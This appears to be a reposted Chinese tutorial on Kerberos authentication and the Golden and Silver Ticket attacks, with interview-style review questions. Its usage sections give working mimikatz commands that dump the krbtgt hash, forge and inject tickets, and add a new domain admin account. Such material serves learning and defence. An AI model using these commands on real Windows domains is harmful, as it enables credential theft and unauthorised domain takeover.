黄金票据与白银票据

文章目录

  • 黄金票据与白银票据
    • 1. 背景
    • 2. 具体实现
      • 2.1 Kerberos协议认证流程
    • 3. 黄金票据
      • 3.1 条件
      • 3.2 适用场景
      • 3.3 利用方式
    • 4. 白银票据
      • 4.1 条件
      • 4.2 适用场景
      • 4.3 利用方式
    • 5. 金票和银票的区别
      • 5.1 获取的权限不同
      • 5.2 认证流程不同
      • 5.3 加密方式不同
    • 6. 经典面试题
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?
      • 6.1 什么是黄金票据与白银票据?
      • 6.2 kerberos认证流程?

黄金票据与白银票据

TGT(票据授权票):无法对任何服务进行访问,但是TGT可以认证用户的身份。(身份票据)

TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据,就可以访问邮件服务了。

说明:

  • 黄金票据(TGT)就是身份票据

  • 白银票据(SGT)就是服务票据

为什么要先去找TGT再去找服务,不能直接去找服务呢?

  • 因为服务没有办法验证用户的身份,需要域来进行介入

PTH哈希传递

PTT票据传递(黄金票据与白银票据)

1. 背景

1、个人文件还是公司文件以及服务都存在于一台系统上,所有人都要去一台机器办公,效率非常低,为每个人分配了电脑以后就需要考虑安全问题

2、如何让服务器正确识别每一个人,假定所有数据包在传输过程中都可以被任意截取和修改

3、在每一台电脑上都存入所有人的账户密码是不现实的,所以引入一个认证服务统一管理所有的用户密码

4、假设用户访问邮件服务,认证服务让你提供密码以此来证明身份,它把你提供的密码和数据库中的密码相比较,通过认证,认证服务不会提供给你任何密码,不然下次你就可以不认证直接利用密码登录,认证服务会给你一张票,拿到票后,你把此票给邮件服务,以此来证明你的身份

5、需要解决的问题,每次使用还没有得到票的服务前,都必须给认证密码。比如使用邮件服务,就要输入一次。使用文件服务,又要输入一次。打印服务,还要输入一次,并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。

6、引入”票据授权”服务(TGS),TGS将代替认证服务的发票功能,以后认证服务不在提供票据,如果你有TGS发放的服务票证,可以使用此票对应的服务

7、如果你通过了认证服务的验证,将会得到一张票据授权票(TGT),现在你想使用邮件服务,然而还没有邮件服务的票,所以你使用”票据授权”票去取邮件服务的票,”票据授权”票,可以使用此票获取你需要的其他服务票

8、解决密码明文传输,当你取得票据授权票时,不再发送密码,而只发送你的用户名,认证服务得到用户名以后用此用户名查你的密码,之后认证服务会制作一个包含票据授权票(TGT)的数据包,并且用你的密码加密此数据包,这样即使数据包被截取没有密码无法解密也获取不到TGT

9、票据的有效期问题,有效期内票据丢失会产生复用,并且没法灵活销毁票据

10、引入会话密钥session key ,认证服务,认证服务会返回票以及一份session key,都用用户的ntml加密,用户利用session key生成认证器来与服务进行沟通

2. 具体实现

1、KDC 服务默认会安装在一个域的域控中

Kerberos协议对于用户的认证上在域控中有的服务名称是:KDCKDC包含了AS服务和TGS服务

  • (Authentication Service)AS服务下发身份票据TGT也就是黄金票据

  • (Ticket Granting Service)TGS服务下发服务票据SGT也就是白银票据

2、从物理层面看,AD与KDC均为域控制器(Domain Controller)

3、AD其实是一个类似于本机SAM的一个数据库,全称叫account database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT

4、KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

KRBTGT hash可以理解为域管理员的哈希值,域控才有KRBTGT hash

image-20231010114833519

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:

  1. The Authentication Service Exchange:Client 与 AS 的交互,

  2. The Ticket-Granting Service (TGS) Exchange:Client 与 TGS 的交互,

  3. The Client/Server Authentication Exchange:Client 与 Server 的交互

2.1 Kerberos协议认证流程

image-20231010205704438

1、客户端发送自己的用户名给AS2AS验证用户名是否在白名单列表,如果在的话随机生成session key(as),返回如下信息TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密3、用自己的NTLM哈希解密TGT1,获得TGS服务器信息以及session key(as)TGT2由于是别人的哈希,所以解不开生成认证因子(客户端信息,当前时间)--session key(as)加密发送认证因子以及TGT2TGS服务4TGS服务先解密TGT2获得session key(as),紧接着利用session key(as)解密认证因子,对比认证因子与TGT2的客户端信息是否一致,如果一致生成session key(TGS),返回如下信息给客户端TGT3(session key(TGS),服务器信息,票据到期时间)--session key(as)加密TGT4(session key(TGS),客户端信息,票据到期时间)--客户端想要访问的服务器的哈希加密5、客户端解密TGT3,得到session key(TGS),服务器信息生成认证因子2(服务器信息,票据到期时间)--session key(TGS)加密发送认证因子2以及TGT4给服务器6、服务器先用自己的哈希解密TGT4得到session key(TGS),客户端信息,票据有效期利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务

3. 黄金票据

黄金票据就是伪造的TGT,AS返回的票据

3.1 条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

3.2 适用场景

由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,管理员在域内加固时忘记重置krbtgt密码

3.3 利用方式

1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存

privilege::debug
lsadump::lsa /patch

image-20231010115055805

mimikatz log "lsadump::dcsync /domain:xiusafe /user:krbtgt"//导出NTLM哈希
kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi

/user:需要伪造的域管理员用户

/domain:域名称

/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

/krbtgt:krbtgt的HASH值

/ticket:生成的票据名称

image-20231010115134409

2、清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

3、导入票据

kerberos::ptt ticket.kirbi

4、创建域管

net user a !@#qwe123 /add /domain
net group "domain admins" a /add /domain

4. 白银票据

白银票据就是伪造的ST,TGS返回的票据

4.1 条件

1.域名

2.域sid

3.目标服务器名

4.可利用的服务

5.服务账号的NTML HASH

6.需要伪造的用户名

4.2 适用场景

知道服务器的Hash,可以访问服务器的某些服务而不用于kdc进行交互

4.3 利用方式

伪造票据

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt

用户名可随意填写

image-20231010115250088

先使用mimikatz清空票据,再导入伪造的票据

5. 金票和银票的区别

5.1 获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限。

银票:伪造的ST,只能访问指定的服务,如文件服务器(CIFS)。

5.2 认证流程不同

金票:同KDC交互,但不同AS交互。

银票:不同KDC交互,直接访问Server。

5.3 加密方式不同

金票:由krbtgt NTLM Hash 加密。

银票:由服务账号 NTLM Hash 加密。

6. 经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

经典面试题

6.1 什么是黄金票据与白银票据?

  • 黄金票据就是伪造了Kerberos协议中的身份票据(TGT)

    • 黄金票据可以访问该用户身份的所有服务
  • 白银票据就是伪造了Kerberos协议通信流程中服务票据(SGT)

    • 白银票据只能访问某一个服务
  • 使用域管理员身份创建的票据就是黄金票据,可以访问域内的所有服务。

6.2 kerberos认证流程?

  • 客户端先去找AS服务进行认证,获取身份票据TGT。

  • 然后拿着TGT票据寻找TGS服务,获取服务票据。

  • 拿着服务票据访问具体的服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/156423.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【opencv】windows10下opencv4.8.0-cuda C++版本源码编译教程

【opencv】windows10下opencv4.8.0-cuda C版本源码编译教程 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【opencv】windows10下opencv4.8.0-cuda C版本源码编译教程前言准备工具cuda/cudnncmakeopencv4.8.0opencv_contrib CMake编译VS2019编…

JVM CMS和G1执行过程比较

CMS CMS(Concurrent Mark Sweep)收集器是一种以获取最短回收停顿时间为目标的收集器。由于大部分 Java 应用主要集中在互联网网站以及基于浏览器的 B/S 系统的服务端,这类应用通常会较为关注服务的响应速度,希望系统的停顿时间尽…

Python in Visual Studio Code 2023年10月发布

排版:Alan Wang 我们很高兴地宣布 Visual Studio Code 的 Python 和 Jupyter 扩展于 2023 年 10 月发布! 此版本包括以下公告: Python 调试器扩展更新弃用 Python 3.7 支持Pylint 扩展更换时的 Lint 选项Mypy 扩展报告的范围和守护程序模式G…

后端解决跨域(极速版)

header(Access-Control-Allow-Origin: *); header(Access-Control-Allow-Methods:*); 代表接收全部的请求,"POST,GET"//允许访问的方式 指定域,如http://172.20.0.206//宝塔的域名,注意不是:http://wang.jingyi.icu等…

一文图解Golang管道Channel

在 Go 语言发布之前,很少有语言从底层为并发原语提供支持。大多数语言还是支持共享和内存访问同步到 CSP 的消息传递方法。Go 语言算是最早将 CSP 原则纳入其核心的语言之一。内存访问同步的方式并不是不好,只是在高并发的场景下有时候难以正确的使用&am…

【移植代码】matlab.engine报错、numpy+mkl安装、Qt platform plugin报错总结

文章目录 numpy报错numpy安装PyQt5报错matlab.engine无法加载确认配置版本进行配置 matlab文件路径缺失vscode无法debug3.7以下版本总结 今天的任务是复现师姐的代码,代码在服务器的环境下可以跑,而我要做的,就是将环境和源码配置好&#xff…

JavaScript使用类-模态窗口

**上节课我们为这个项目获取了一些DOM元素,现在我们可以继续;**这个模态窗口有一个hidden类,这个类上文我们讲了,他的display为none;如果我们去除这个hidden的话,就可以让这个模态窗口展现出来。如下 cons…

yolov5加关键点回归

文章目录 一、数据1)数据准备2)标注文件说明 二、基于yolov5-face 修改自己的yolov5加关键点回归1、dataloader,py2、augmentations.py3、loss.py4、yolo.py 一、数据 1)数据准备 1、手动创建文件夹: yolov5-face-master/data/widerface/tr…

【postgresql】

看到group by 1,2 和 order by 1, 2。看不懂,google,搜到了Stack Overflow 上有回答 What does SQL clause “GROUP BY 1” mean? 大概意思就是,group by, order by 后面跟数字,指的是 selec…

git命令笔记

git命令笔记 前言:git对于软件开发和协作的重要性不言而喻,在企业开发中,git命令和linux命令的使用同样重要。作为开发者,需要牢记并熟练使用常见的git命令 git工作流程图 命令如下: clone(克隆&#xf…

虹科方案|国庆出游季,古建筑振动监测让历史古迹不再受损

全文导读: 国庆长假即将到来,各位小伙伴是不是都做好了出游计划呢?今年中秋、国庆“双节”连休八天,多地预计游客接待量将创下新高,而各地的名胜古迹更是人流爆满。迎接游客的同时,如何保障历史古迹不因巨大…

ATFX汇市:美国9月CPI数据来袭,机构预期年率增速将继续回落

ATFX汇市:今日20:30,美国劳工部将公布9月未季调CPI年率增速,前值为3.7%,预期值3.6%;9月未季调核心CPI年率,同一时间公布,前值为4.3%,预期值4.1%。无论是名义CPI增速还是核心CPI增速&…

vue配置@路径

第一步:安装path,如果node_module文件夹中有path就不用安装了 安装命令:npm install path --save 第二步:在vue.config.js文件(如果没有就新建)中配置 const path require("path"); function …

el-data-picker限制日期可选范围

<el-date-pickerclass"date"v-model"date"type"date"change"dateChange"value-format"yyyy-MM-dd"format"yyyy-MM-dd"placeholder"选择日期":picker-options"datePickerOptions"></…

基于SpringBoot的大学城水电管理系统

目录 前言 一、技术栈 二、系统功能介绍 管理员模块的实现 领用设备管理 消耗设备管理 设备申请管理 状态汇报管理 用户模块的实现 设备申请 状态汇报 用户反馈 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 随着信息技术在管理上越来越深入而广泛…

【Java 进阶篇】JavaScript 介绍及其发展史

JavaScript是一门广泛应用于Web开发的编程语言。它是一种高级的、解释性的脚本语言&#xff0c;主要用于改善用户与Web页面的互动体验。本篇博客将为你详细介绍JavaScript的基础知识、历史背景和它在Web开发中的重要作用。我们还将讨论JavaScript的发展史&#xff0c;从它的起源…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

设计模式-状态模式

介绍 一个对象有状态变化每次状态变化都会触发一个逻辑不能总是用if else来控制 示例 交通信号灯不同颜色的变化 UML类图 传统UML类图 简化后的UML类图 代码演示 // 状态&#xff08;红灯、绿灯、黄灯&#xff09; class State {constructor(color) {this.color col…

A股风格因子看板 (2023.10 第04期)

该因子看板跟踪A股风格因子&#xff0c;该因子主要解释沪深两市的市场收益、刻画市场风格趋势的系列风格因子&#xff0c;用以分析市场风格切换、组合风格暴露等。 今日为该因子跟踪第04期&#xff0c;指数组合数据截止日2023-09-30&#xff0c;要点如下 近1年A股风格因子检验统…

一站式解决方案:Qt 跨平台开发灵活可靠

一站式解决方案&#xff1a;Qt 跨平台开发灵活可靠 Qt 是一种跨平台开发工具&#xff0c;为开发者提供了一站式解决方案。无论您的项目目标是 Windows、Linux、macOS、嵌入式系统还是移动平台&#xff0c;Qt 都能胜任。这种跨平台的特性不仅节省开支&#xff0c;还推动了战略的…